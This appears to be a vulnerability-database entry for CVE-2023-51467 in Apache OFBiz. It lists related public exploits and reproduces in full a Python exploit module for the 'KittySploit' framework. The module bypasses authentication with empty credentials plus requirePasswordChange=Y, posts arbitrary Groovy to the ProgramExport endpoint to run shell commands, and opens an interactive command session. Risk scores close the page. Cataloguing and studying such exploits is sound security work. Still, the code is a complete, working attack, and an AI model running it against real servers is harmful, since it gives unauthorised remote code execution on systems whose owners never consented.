Apache OFBiz Auth Bypass Groovy RCE (CVE-2023-51467)
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| Exploit for Code Injection in Apache Ofbiz | 2 Jan 202414:20 | – | githubexploit | |
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| Exploit for Code Injection in Apache Ofbiz | 24 Sep 202616:29 | – | githubexploit | |
| Exploit for Server-Side Request Forgery in Apache Ofbiz | 9 Jan 202416:58 | – | githubexploit | |
| Exploit for Code Injection in Apache Ofbiz | 17 Dec 202322:56 | – | githubexploit | |
| Exploit for Server-Side Request Forgery in Apache Ofbiz | 6 Jan 202404:07 | – | githubexploit | |
| Exploit for Server-Side Request Forgery in Apache Ofbiz | 13 Jan 202405:40 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache OFBiz auth bypass + Groovy RCE (CVE-2023-51467) — execute session."""
from __future__ import annotations
import re
from urllib.parse import urlencode
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache OFBiz Auth Bypass Groovy RCE (CVE-2023-51467)',
'description': (
'Exploits CVE-2023-51467 authentication bypass (empty credentials + '
'requirePasswordChange=Y) to reach /webtools/control/ProgramExport and '
'run arbitrary Groovy via groovyProgram. Opens an interactive execute session.'
),
'author': ['SonicWall', 'KittySploit Team'],
'cve': ['CVE-2023-51467', 'CVE-2023-49070'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-51467',
'https://ofbiz.apache.org/security.html',
],
'tags': [
'ofbiz', 'apache', 'groovy', 'auth-bypass', 'rce', 'unauth',
'kev', 'cve-2023-51467',
],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['ofbiz', 'apache'],
'endpoint_pattern_any': ['/webtools/control/ProgramExport'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'ProgramExport groovyProgram'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2023_51467_detect'],
},
},
}
port = OptPort(8443, 'OFBiz HTTPS port', True)
ssl = OptBool(True, 'Use HTTPS', True, advanced=True)
shell = OptChoice(
'unix',
'Shell for Groovy .execute()',
False,
choices=['unix', 'windows'],
advanced=True,
)
_EXPORT_PATH = '/webtools/control/ProgramExport'
_PING_PATH = '/webtools/control/ping'
def _join_path(self, suffix: str) -> str:
base = (self.path or '/').rstrip('/')
if not suffix.startswith('/'):
suffix = '/' + suffix
return f'{base}{suffix}' if base else suffix
def _bypass_query(self) -> str:
return urlencode({
'USERNAME': '',
'PASSWORD': '',
'requirePasswordChange': 'Y',
})
@staticmethod
def _escape_groovy_str(value: str) -> str:
return str(value).replace('\\', '\\\\').replace("'", "\\'")
def _groovy_command(self, cmd: str, capture: bool) -> str:
safe = self._escape_groovy_str(cmd)
if capture:
return f"throw new Exception('{safe}'.execute().text);"
if self.shell == 'windows':
return f"'cmd /c {safe}'.execute();"
return f"'{safe}'.execute();"
def _run_groovy(self, program: str):
query = self._bypass_query()
path = f'{self._join_path(self._EXPORT_PATH)}?{query}'
return self.http_request(
method='POST',
path=path,
data={'groovyProgram': program},
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=True,
)
def _extract_output(self, body: str) -> str:
if not body:
return ''
for pattern in (
r'Exception:\s*([^\n<]+)',
r'groovy\.lang\.GroovyRuntimeException[^:]*:\s*([^\n<]+)',
r'_ERROR_MESSAGE_[^>]*>([^<]+)',
):
match = re.search(pattern, body, re.I)
if match:
return match.group(1).strip()
return body
def execute(self, cmd: str) -> str:
program = self._groovy_command(cmd, capture=True)
r = self._run_groovy(program)
if not r:
return ''
return self._extract_output(r.text or '')
def check(self):
query = self._bypass_query()
r = self.http_request(
method='GET',
path=f'{self._join_path(self._PING_PATH)}?{query}',
allow_redirects=True,
)
if not r or int(r.status_code or 0) not in (200, 500):
return {
'vulnerable': False,
'reason': 'Auth bypass ping endpoint not reachable',
'confidence': 'medium',
}
body = (r.text or '').lower()
if 'login' in body and 'ping' not in body and 'pong' not in body:
return {
'vulnerable': False,
'reason': 'Still redirected to login (bypass failed)',
'confidence': 'high',
}
token = self.random_text(8)
out = self.execute(f'echo {token}')
if token in (out or ''):
return {
'vulnerable': True,
'reason': 'CVE-2023-51467 confirmed via Groovy echo',
'confidence': 'high',
}
if re.search(r'uid=\d+', out or ''):
return {
'vulnerable': True,
'reason': 'CVE-2023-51467 confirmed via Groovy id',
'confidence': 'high',
}
return {
'vulnerable': True,
'reason': 'Auth bypass reachable; Groovy execution not confirmed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
EPSS0.96001